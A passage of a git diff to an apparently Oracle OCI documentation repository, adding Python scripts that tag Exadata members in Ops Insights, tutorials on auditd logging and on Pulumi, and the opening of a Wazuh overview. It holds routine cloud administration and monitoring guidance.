Updating host member tags in OPSI (Choose code block for EM or PE managed hosts in OPSI) + print("\nUpdating host members:") + + # Updating EM-managed host member tags in OPSI + for host in host_insights_dict: + print(f'Updating {host["host_display_name"]} with Host Insights ID {host["id"]}') + update_host_insight_response = opsi_client.update_host_insight( + host_insight_id=host["id"], + update_host_insight_details=oci.opsi.models.UpdateEmManagedExternalHostInsightDetails( + entity_source="EM_MANAGED_EXTERNAL_HOST", + #freeform_tags={'EXAMPLE_KEY_jTnoW': 'EXAMPLE_VALUE_Iyfqty8HBcYA1JNce7JG'}, + defined_tags=defined_tags, + #if_match="EXAMPLE-ifMatch-Value", + #opc_request_id="RPGDXZROMQV2B3HHLGGQ" + ) + ) + + # This message means the script has finished updating tags for Exadata system and members + print(f"\nTag update complete for {exadata_insight_id}") + +else: + # This message means the script did not change anything because of incorrect input for approval variable + print("\nTag update aborted due to lack of approval") +``` + +The code does the following: + +1. Sets values for the compartment and Exadata Insights OCIDs as well as the desired tags as compartment_id, exadata_insight_id, and defined_tags. These variables are required for the script to work + +2. The code will print the set Exadata Insights OCID as well as the set tag keys and values. Then it will ask if it should go ahead with tagging the Exadata system and all its members as printed. Only the input “yes” will execute the tag update + +3. The code will collect database and host member IDs associated with the Exadata Insights OCID in OPSI. Then it will loop through collected members’ IDs to set the tags as specified in defined_tags + +NOTE: As written, the code will overwrite any existing tags on the OPSI resources. Make sure defined_tags contains ALL desired tags — both those currently existing and those currently missing + +Updating tags for a PE Managed Exadata System and Members in OPSI + +Below is the code based on the OCI Python SDK as well as code performing HTTP requests with API authentication to update PE-managed host members in OPSI. This script can also be executed from the OCI Cloud Shell (read more [here](https://docs.oracle.com/en-us/iaas/Content/API/Concepts/cloudshellquickstart_python.htm)) or locally, but requires an OCI CLI configuration file in both cases to update the host members (read more [here](https://docs.oracle.com/en-us/iaas/Content/API/Concepts/sdkconfig.htm)): + +```text +import oci +import json +import requests + +# Specify variable values +# NOTE: Remember that defined_tags overwrites existing resource tags +# It should be a complete list of what tags should be there at the end +region="eu-frankfurt-1" +compartment_id="ocid1.compartment.oc1..XXX" +exadata_insight_id="ocid1.opsiexadatainsight.oc1.XXX" +defined_tags={ + 'Tag Namespace': { + 'Tag Key A': 'Tag Value', + 'Tag Key B': 'Tag Value' + } +} + +# Displays set values and requires explicit approval before continuing +approval = input(f""" +All members of {exadata_insight_id} in {region} will be updated with the following tags:\n +defined_tags={defined_tags}\n +Do you wish to proceed (yes/no)?: """ +) + +if approval.lower() == "yes": + # Initialize service client with default config file + # NOTE: It is required to specify a file path for a config file - also in the OCI Cloud Shell + # This is because host updates for PE-managed Exadatas currently use HTTP requests with API authentication rather than the Python SDK + config = oci.config.from_file("~/.oci/config") + opsi_client = oci.opsi.OperationsInsightsClient(config) + + # Updating tags on Exadata system in OPSI + print(f'\nUpdating Exadata system with ID {exadata_insight_id}') + update_exadata_insight_response = opsi_client.update_exadata_insight( + exadata_insight_id=exadata_insight_id, + update_exadata_insight_details=oci.opsi.models.UpdatePeComanagedExadataInsightDetails( + entity_source="PE_COMANAGED_EXADATA", + #freeform_tags={'EXAMPLE_KEY_jTnoW': 'EXAMPLE_VALUE_Iyfqty8HBcYA1JNce7JG'}, + defined_tags=defined_tags, + is_auto_sync_enabled=True), + #if_match="EXAMPLE-ifMatch-Value", + #opc_request_id="YPV7UDSDR4FNPXK6PLYZ" + ) + + # Collecting database member IDs of Exadata system in OPSI + list_database_insights_response = opsi_client.list_database_insights( + compartment_id=compartment_id, + #enterprise_manager_bridge_id="ocid1.test.oc1..EXAMPLE-enterpriseManagerBridgeId-Value", + #id=["EXAMPLE--Value"], + #status=["DISABLED"], + #lifecycle_state=["ACTIVE"], + #database_type=["ATP-S"], + #database_id=["EXAMPLE--Value"], + #fields=["databaseType"], + limit=2000, + #page="EXAMPLE-page-Value", + sort_order="ASC", + sort_by="databaseType", + exadata_insight_id=exadata_insight_id, + compartment_id_in_subtree=True, + #opsi_private_endpoint_id="ocid1.test.oc1..EXAMPLE-opsiPrivateEndpointId-Value", + #opc_request_id="IV0KH3F1R7WU1LVHACWT" + ) + database_insights_dict = json.loads(str(list_database_insights_response.data))["items"] + + # Updating database member tags in OPSI + print("\nUpdating database members:") + for db in database_insights_dict: + print(f'Updating {db["database_display_name"]} with DB Insights ID {db["id"]}') + update_database_insight_response = opsi_client.update_database_insight( + database_insight_id=db["id"], + update_database_insight_details=oci.opsi.models.UpdatePeComanagedDatabaseInsightDetails( + entity_source="PE_COMANAGED_DATABASE", + #freeform_tags={'EXAMPLE_KEY_jTnoW': 'EXAMPLE_VALUE_Iyfqty8HBcYA1JNce7JG'}, + defined_tags=defined_tags, + #if_match="EXAMPLE-ifMatch-Value", + #opc_request_id="K8PG3IDYIA682CFC2VK6" + ) + ) + + # Collecting host member IDs of Exadata system in OPSI + list_host_insights_response = opsi_client.list_host_insights( + compartment_id=compartment_id, + #id=["EXAMPLE--Value"], + #status=["ENABLED"], + #lifecycle_state=["ACTIVE"], + #host_type=["EXAMPLE--Value"], + #platform_type=["LINUX"], + limit=2000, + #page="EXAMPLE-page-Value", + sort_order="ASC", + sort_by="hostType", + #enterprise_manager_bridge_id="ocid1.test.oc1..EXAMPLE-enterpriseManagerBridgeId-Value", + exadata_insight_id=exadata_insight_id, + compartment_id_in_subtree=True, + #opc_request_id="SVAEYTJGPMKDXRB5NEC9" + ) + host_insights_dict = json.loads(str(list_host_insights_response.data))["items"] + + # Updating host member tags in OPSI (Choose code block for EM or PE managed hosts in OPSI) + print("\nUpdating host members:") + + # Updating PE-managed host member tags in OPSI + base_url = f"https://operationsinsights.{region}.oci.oraclecloud.com/20200630/hostInsights" + headers = {"Content-Type": "application/json"} + data = {"entitySource": "PE_COMANAGED_HOST", "definedTags": defined_tags} + auth = oci.signer.Signer( + tenancy=config['tenancy'], + user=config['user'], + fingerprint=config['fingerprint'], + private_key_file_location=config['key_file'], + #pass_phrase=config['pass_phrase'] + ) + + for host in host_insights_dict: + print(f'Updating {host["host_display_name"]} with Host Insights ID {host["id"]}') + host_url = f"{base_url}/{host['id']}" + update = requests.put(host_url, headers=headers, json=data, auth=auth) + + # This message means the script has finished updating tags for Exadata system and members + print(f"\nTag update complete for {exadata_insight_id}") + +else: + # This message means the script did not change anything because of incorrect input for approval variable + print("\nTag update aborted due to lack of approval") +``` + +The code does the following: + +1. Sets values for the region (e.g. “eu-frankfurt-1” which is the default value), compartment OCID, Exadata Insights OCID, and desired tags as region, compartment_id, exadata_insight_id, and defined_tags. These variables are required for the script to work + +2. The code will print the set Exadata Insights OCID and region as well as the set tag keys and values. Then it will ask if it should go ahead with tagging the Exadata system and all its members as printed. Only the input “yes” will execute the tag update + +3. The code will collect database and host member IDs associated with the Exadata Insights OCID in OPSI. Then it will loop through collected members’ IDs to set the tags as specified in defined_tags + +NOTE: As written, the code will overwrite any existing tags on the OPSI resources. Make sure defined_tags contains ALL desired tags — both those currently existing and those currently missing + +Conclusion + +All tags are now set for Exadata and its members in OPSI. This is easier and quicker than manually going through each OPSI resource to achieve the same. + +See the following links for more: + +1. [About Oracle Cloud Infrastructure Ops Insights](https://docs.oracle.com/en-us/iaas/operations-insights/doc/operations-insights.html) + +2. [Analyze Exadata Resources](https://docs.oracle.com/en-us/iaas/operations-insights/doc/analyze-exadata-resources.html) + +3. [Ops Insights API](https://docs.oracle.com/en-us/iaas/api/) + +4. [OCI SDK and CLI Configuration File](https://docs.oracle.com/en-us/iaas/Content/API/Concepts/sdkconfig.htm) diff --git a/observability-and-management/assets/tag-exadata-members-oci-ops-insights-api/images/image-01.png b/observability-and-management/assets/tag-exadata-members-oci-ops-insights-api/images/image-01.png new file mode 100644 index 000000000..3cb2450bc Binary files /dev/null and b/observability-and-management/assets/tag-exadata-members-oci-ops-insights-api/images/image-01.png differ diff --git a/observability-and-management/tenancy-usage-cost-reports/LICENSE b/observability-and-management/assets/tenancy-usage-cost-reports/LICENSE similarity index 100% rename from observability-and-management/tenancy-usage-cost-reports/LICENSE rename to observability-and-management/assets/tenancy-usage-cost-reports/LICENSE diff --git a/observability-and-management/tenancy-usage-cost-reports/README.md b/observability-and-management/assets/tenancy-usage-cost-reports/README.md similarity index 99% rename from observability-and-management/tenancy-usage-cost-reports/README.md rename to observability-and-management/assets/tenancy-usage-cost-reports/README.md index 96e464491..8f5485c86 100644 --- a/observability-and-management/tenancy-usage-cost-reports/README.md +++ b/observability-and-management/assets/tenancy-usage-cost-reports/README.md @@ -4,7 +4,7 @@ Usage2ADW is a tool that uses the Python SDK to extract the usage and cost repor OCI automatically generates usage data and is stored in an Oracle-owned Object Storage bucket. It contains one row per each OCI resource per hour along with consumption information, metadata, namespace, and tags. Usage2ADW load this data to the ADW database and OAC visualizations can be created on top of this database. -Reviewed: 09.10.2024 +Reviewed: 09.02.2026 ​ # When to use this asset? ​ diff --git a/observability-and-management/tenancy-usage-cost-reports/files/images/image-1.png b/observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-1.png similarity index 100% rename from observability-and-management/tenancy-usage-cost-reports/files/images/image-1.png rename to observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-1.png diff --git a/observability-and-management/tenancy-usage-cost-reports/files/images/image-2.png b/observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-2.png similarity index 100% rename from observability-and-management/tenancy-usage-cost-reports/files/images/image-2.png rename to observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-2.png diff --git a/observability-and-management/tenancy-usage-cost-reports/files/images/image-3.png b/observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-3.png similarity index 100% rename from observability-and-management/tenancy-usage-cost-reports/files/images/image-3.png rename to observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-3.png diff --git a/observability-and-management/tenancy-usage-cost-reports/files/images/image-4.png b/observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-4.png similarity index 100% rename from observability-and-management/tenancy-usage-cost-reports/files/images/image-4.png rename to observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-4.png diff --git a/observability-and-management/tenancy-usage-cost-reports/files/images/image-5.png b/observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-5.png similarity index 100% rename from observability-and-management/tenancy-usage-cost-reports/files/images/image-5.png rename to observability-and-management/assets/tenancy-usage-cost-reports/files/images/image-5.png diff --git a/observability-and-management/tenancy-usage-cost-reports/files/images/image.png b/observability-and-management/assets/tenancy-usage-cost-reports/files/images/image.png similarity index 100% rename from observability-and-management/tenancy-usage-cost-reports/files/images/image.png rename to observability-and-management/assets/tenancy-usage-cost-reports/files/images/image.png diff --git a/observability-and-management/tenancy-usage-cost-reports/files/tenancy-usage-cost-reports.md b/observability-and-management/assets/tenancy-usage-cost-reports/files/tenancy-usage-cost-reports.md similarity index 100% rename from observability-and-management/tenancy-usage-cost-reports/files/tenancy-usage-cost-reports.md rename to observability-and-management/assets/tenancy-usage-cost-reports/files/tenancy-usage-cost-reports.md diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/README.md b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/README.md new file mode 100644 index 000000000..05413abe9 --- /dev/null +++ b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/README.md @@ -0,0 +1,167 @@ +# Use Auditd logs in OCI with Logging Service + +Logs are important because if they are properly configured , they can provide information that usually can be missed. For Windows Instances, beside the normal Events, [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) is my preferred solution to enrich the Windows logs, but this will be part of a different blog entry. + +One of the blogs that I would recommend to read before starting configuring auditd and OCI logging is this as it offers : + +1. Quick intro to the Linux Audit System + +2. Tips when writing audit rules + +3. Designing a configuration for security monitoring + +4. What to record with auditd + +5. Tips on managing noise + +```text +[Linux auditd for Threat Hunting [Part 1] | by IzyKnows | Medium](https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505) +``` + +Related to the Auditd Events that you can monitor you can check this list: + +[Audit Event Fields · bfuzzy/auditd-attack Wiki · GitHub](https://github.com/bfuzzy/auditd-attack/wiki/Audit-Event-Fields) + +![Picture 18](./images/image-01.png) + +and the redhat OS Audit Record Types: + +[B.2. Audit Record Types Red Hat Enterprise Linux 6 | Red Hat Customer Portal](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-audit_record_types) + +[Chapter 7. System Auditing Red Hat Enterprise Linux 7 | Red Hat Customer Portal](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/chap-system_auditing) + +[Chapter 14. Auditing the system Red Hat Enterprise Linux 8 | Red Hat Customer Portal](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/security_hardening/auditing-the-system_security-hardening) + +[Chapter 12. Auditing the system Red Hat Enterprise Linux 9 | Red Hat Customer Portal](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9/html/security_hardening/auditing-the-system_security-hardening) + +As Oracle Enterprise Linux has the same kernel as Redhat the documentation from above applies to OEL too. + +If you already has an OEL instance, and Auditd is not present, you can use this steps to intall it: + +[Audit Oracle Linux with Auditd](https://docs.oracle.com/en/learn/ol-auditd/index.html) + +Now I will go to the Step by Step part. I have provisioned an OEL 8 instance in OCI , enabled custom logs, and I have also created an Agent configuration to read the auditd logs. + +![Picture 17](./images/image-02.png) + +![Picture 16](./images/image-03.png) + +![Picture 15](./images/image-04.png) + +Select Advanced Parced Options: + +![Picture 14](./images/image-05.png) + +Change from NONE to Auditd and Save: + +![Picture 13](./images/image-06.png) + +Now, If OCI Custom Logs are properly configured and the Dynamic Groups are able to access the instances of interest, you should be able to see the collected logs from the instance. + +![Picture 12](./images/image-07.png) + +If you expand a Custom log, you will be able to see that OCI Parser is able to creating multiple variables in Logging. From here, you can start creating different searches that you can use when needed or by the OCI Cloud Guard Insight Log Rules. + +![Picture 11](./images/image-08.png) + +Now, with the auditd basic configuration, you will see all the pre-configured logs from the OS as defined by the Redhat documentation. + +If you can’t see the logs from the OS in OCI logging, that means that the Auditd service is not installed/started. You can check this by running: + +```text +sudo systemctl status auditd +``` + +![Picture 9](./images/image-09.png) + +Of the service runs, check the OCI Logging Service permissions. + +For collecting more informations from the OS with the auditd service, we can configure custom rules. + +On a newly created instance running OEL 8 auditd is enabled by default, with no advanced rule enabled. To check the audit rule, run : + +```text +sudo cat /etc/audit/audit.rules +sudo cat /etc/audit/rules.d/audit.rules +``` + +![Picture 8](./images/image-10.png) + +```text +sudo auditctl -l +``` + +To test a basic monitoring rule, you can run this command that will look for ssh config file access: + +```text +sudo auditctl -w /etc/ssh/sshd_config -p rwxa -k sshd_config +``` + +After running the command, you will see that the rule is processed and used: + +![Picture 7](./images/image-11.png) + +```text +Rules created by auditctl don’t add to the audit.rules file. Therefore, these changes are transient and don’t survive a system reboot. +``` + +```text +Make the rule permanent by adding it to a custom ruleset file in /etc/audit/rules.d/my.rules. The format of the added rule matches the syntax of the auditctl command without using auditctl. Rules should be written per line and combined to optimize performance. +``` + +Another test rules that we can add are: + +```text +sudo auditctl -w /etc/passwd -p wra -k passwd +sudo auditctl -a exit,always -F arch=b64 -S clock_settime -k changetime +``` + +![Picture 6](./images/image-12.png) + +![Picture 5](./images/image-13.png) + +If you look at all the logs, you will see that are too many so it’s hard to do a manual lookout. + +![Picture 4](./images/image-14.png) + +Because of that, I use an exclude-records.rule. Please check the rules and remove what you need to keep in the monitoring. As the exclusion wasn’t working properly, it was removed from the next steps. + +[https://github.com/izysec/linux-audit/issues/1](https://github.com/izysec/linux-audit/issues/1) + +[linux-audit/exclude-records.rules at main · izysec/linux-audit · GitHub](https://github.com/izysec/linux-audit/blob/main/exclude-records.rules) + +```text +- +``` + +For Threat Hunting, using MITRE ATT&CK Framework, you can use some pre-defined detection rules from here or you can build them if you want to have more granularity: + +auditd-attack/auditd-attack at master · bfuzzy1/auditd-attack + +A Linux Auditd rule set mapped to MITRE's Attack Framework Please ensure you test these rules prior to pushing them… + +github.com + +Copy the rules from the above repository, and check if they are enabled properly. + +[auditd-attack.rules](https://github.com/bfuzzy/auditd-attack/blob/master/auditd-attack.rules) + +After you create the file and add the rules, you can see that the rules are not enabled. + +![Picture 3](./images/image-15.png) + +To do this, you can run, and ignore the errors for demo purposes: + +```text +augenrules — load +``` + +![Picture 2](./images/image-16.png) + +Now you can see that the rules from the rule file we have created are loaded and we can check if we have the Key Variable parsed ok: + +![Picture 1](./images/image-17.png) + +As you can see, we have the the data.body.key field populated, so in my next blog I will be able to use it in my searches. + +Congratulations! You are able to collect Auditd logs in OCI and parse them in a correct way. diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-01.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-01.png new file mode 100644 index 000000000..af3b7f9f0 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-01.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-02.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-02.png new file mode 100644 index 000000000..cbeb91086 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-02.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-03.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-03.png new file mode 100644 index 000000000..1e1e32e5c Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-03.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-04.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-04.png new file mode 100644 index 000000000..28389b08e Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-04.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-05.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-05.png new file mode 100644 index 000000000..6045465f0 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-05.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-06.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-06.png new file mode 100644 index 000000000..940cfc714 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-06.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-07.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-07.png new file mode 100644 index 000000000..934ef02ce Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-07.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-08.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-08.png new file mode 100644 index 000000000..6bee28c94 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-08.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-09.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-09.png new file mode 100644 index 000000000..b84efb959 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-09.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-10.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-10.png new file mode 100644 index 000000000..3e8690bb6 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-10.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-11.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-11.png new file mode 100644 index 000000000..5a5236e66 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-11.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-12.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-12.png new file mode 100644 index 000000000..49eca2c83 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-12.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-13.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-13.png new file mode 100644 index 000000000..864f13cc0 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-13.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-14.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-14.png new file mode 100644 index 000000000..a54b3c5ca Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-14.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-15.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-15.png new file mode 100644 index 000000000..18c580f63 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-15.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-16.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-16.png new file mode 100644 index 000000000..4fb1bed1a Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-16.png differ diff --git a/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-17.png b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-17.png new file mode 100644 index 000000000..60921a1f3 Binary files /dev/null and b/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/images/image-17.png differ diff --git a/observability-and-management/assets/using-pulumi-to-create-oci-resources/README.md b/observability-and-management/assets/using-pulumi-to-create-oci-resources/README.md new file mode 100644 index 000000000..63dfa8bfa --- /dev/null +++ b/observability-and-management/assets/using-pulumi-to-create-oci-resources/README.md @@ -0,0 +1,123 @@ +# Using Pulumi to create OCI resource + +Pulumi is an opensource Infrastructure as a code . I have used mostly Terraform for automation in OCI . But recent license change of Terraform made me to look at Pulumi . + +The difference between Pulumi and Terraform is already well written [here](https://www.pulumi.com/docs/concepts/vs/terraform/). + +Pulumi supports different programming language like TypeScript, JavaScript, Python, Go, .NET, Java, and markup languages like YAML.You don’t have to learn new format like HCL in Terraform if you are already a programmer. + +You can install pulumi in Mac OS using homebrew and the latest version as of this writing is 3.103.1. + +brew install pulumi/tap/pulumi + +I have chosen Python as my preferred language to write the code . + +In Pulumi Project is the top level and we will write our code inside the project .Stacks are used to differentiate environments like dev/QA /prod etc.. + +![Picture 13](./images/image-01.png) + +Lets use [pulumi cli](https://www.pulumi.com/docs/cli/) to create the project. + +```text +mkdir PulumiOCI && cd PulumiOCI +pulumi login — local (double hyphen before local) +pulumi new oci-python — force(double hyphen before force) +``` + +![Picture 12](./images/image-02.png) + +You might get an error like this below if you are using python 3.12 + +ERROR: Could not build wheels for grpcio, which is required to install pyproject.toml-based projects. + +If you list out all the files in the directory you will have +Pulumi.yaml +venv +Pulumi..yaml +requirements.txt +__main__.py + +![Picture 10](./images/image-03.png) + +Update this file to use the latest version. + +![Picture 9](./images/image-04.png) + +Run the command venv/bin/python -m pip install -r requirements.txt to fix the grpcio version and to use latest pulumi-oci version in the virtual env. + +Pulumi.yaml will have info about the project and the runtime. + +![Picture 8](./images/image-05.png) + +Update the __main__.py with the resource code. + +I have written a [blog](https://karthicin.medium.com/process-monitoring-using-stack-monitoring-99908cec31a8) about enabling process monitoring in Stack Monitoring. I will use that as a reference and create few StackMonitoring resource in OCI using Pulumi. + +Before we start we need to set some [config](https://www.pulumi.com/registry/packages/oci/installation-configuration/) for OCI API authentication. + +```text +export PULUMI_CONFIG_PASSPHRASE= +pulumi config set oci:tenancyOcid "ocid1.tenancy.oc1.." --secret +pulumi config set oci:userOcid "ocid1.user.oc1.." --secret +pulumi config set oci:fingerprint "" --secret +pulumi config set oci:region "us-ashburn-1" +pulumi config set oci:privateKeyPath --secret +``` + +We will set few more configuration value which is needed for the resource creation. + +We will create two resources named ProcessSet and DiscoveryJob in StackMonitoring + +```text +pulumi config set compartment_id +pulumi config set host_id --secret +pulumi config set processset_display_name "apacheprocess" +``` + +```text +import pulumi +import pulumi_oci as oci + +config = pulumi.Config() + +#To create process set +process_set = oci.stackmonitoring.ProcessSet(resource_name=config.get("processset_display_name"), + compartment_id=config.get("compartment_id"), + display_name=config.get("processset_display_name"), + specification=oci.stackmonitoring.ProcessSetSpecificationArgs( + items=[oci.stackmonitoring.ProcessSetSpecificationItemArgs( + #label=var["process_set_specification_items_label"], + process_command="httpd", + #process_line_regex_pattern=".*", + process_user="apache" + )], + )) + +#To fetch agent id monitoring the host +monitored_host_resource = oci.stackmonitoring.get_monitored_resource(monitored_resource_id=config.get("host_id")) +mgmt_agent_id = monitored_host_resource.management_agent_id + +#Create discovery job for custom resource +discovery_job = oci.stackmonitoring.DiscoveryJob(resource_name=config.get("processset_display_name"), + compartment_id=config.get("compartment_id"), + discovery_details=oci.stackmonitoring.DiscoveryJobDiscoveryDetailsArgs( + agent_id=mgmt_agent_id, + properties=oci.stackmonitoring.DiscoveryJobDiscoveryDetailsPropertiesArgs( + properties_map={ + "host_ocid": config.get("host_id"), + "process_set_id" : process_set.id + }, + ), + resource_name=process_set.display_name, + resource_type="CUSTOM_RESOURCE", + license="ENTERPRISE_EDITION" + ), + discovery_client="APPMGMT", + discovery_type="ADD") +``` + +![Picture 7](./images/image-06.png) + +Pulumi also has an experimental [AI feature](https://www.pulumi.com/ai) to help you with writing the code and explanation. + +Recently a VScode extension has been released as well which will help in writing the code faster with autocomplete and other features. diff --git a/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/.gitkeep b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-01.png b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-01.png new file mode 100644 index 000000000..05b25a2bd Binary files /dev/null and b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-01.png differ diff --git a/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-02.png b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-02.png new file mode 100644 index 000000000..9456305f4 Binary files /dev/null and b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-02.png differ diff --git a/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-03.png b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-03.png new file mode 100644 index 000000000..4eed7bf5c Binary files /dev/null and b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-03.png differ diff --git a/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-04.png b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-04.png new file mode 100644 index 000000000..3f754e7bc Binary files /dev/null and b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-04.png differ diff --git a/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-05.png b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-05.png new file mode 100644 index 000000000..edda70eb5 Binary files /dev/null and b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-05.png differ diff --git a/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-06.png b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-06.png new file mode 100644 index 000000000..beed95510 Binary files /dev/null and b/observability-and-management/assets/using-pulumi-to-create-oci-resources/images/image-06.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/README.md b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/README.md new file mode 100644 index 000000000..ddd7da5fb --- /dev/null +++ b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/README.md @@ -0,0 +1,113 @@ +# Why and how to run Wazuh on OCI + +Wazuh is an open-source security detection, visibility, and compliance platform designed to help organizations monitor and analyze security-related events in real time. It offers a range of capabilities that can help organizations detect and respond to potential security threats, including: + +1. Threat detection: Wazuh can detect potential security threats by analyzing log data, system events, network traffic, and other sources of information. + +2. Incident response: Wazuh provides automated response capabilities to help organizations respond to security incidents quickly and effectively. + +3. Compliance monitoring: Wazuh can help organizations comply with various security regulations and standards by providing reports and alerts related to compliance-related events. + +4. Log analysis: Wazuh can collect, aggregate, and analyze log data from various sources, including servers, applications, and network devices. + +5. File integrity monitoring: Wazuh can monitor files and directories for changes, including modifications, deletions, and creations. + +6. Threat intelligence: Wazuh integrates various threat intelligence sources to help organizations stay up-to-date with the latest security threats. + +Oracle Cloud Infrastructure (OCI) is a cloud computing platform that offers a range of services to help organizations deploy and manage their applications and infrastructure in the cloud. Wazuh can be deployed on OCI to take advantage of several benefits, including: + +1. Scalability: OCI offers a highly scalable infrastructure that can support the growth of Wazuh deployments as the organization’s security needs evolve. + +2. Security: OCI provides a secure platform with features such as network security, identity and access management, and encryption to help ensure the security of Wazuh and the organization’s data. + +3. Performance: OCI provides high-performance computing resources, including CPUs, GPUs, and high-speed networking, to help ensure the performance of Wazuh and other applications. + +4. Integration: OCI integrates with a range of other Oracle services, such as Oracle Database, SaaS products, and PaaS Products to help organizations build end-to-end security solutions. + +5. Cost-effectiveness: OCI offers a flexible pricing model that can help organizations manage their security-related costs more effectively. + +Overall, running Wazuh on OCI can provide organizations with a 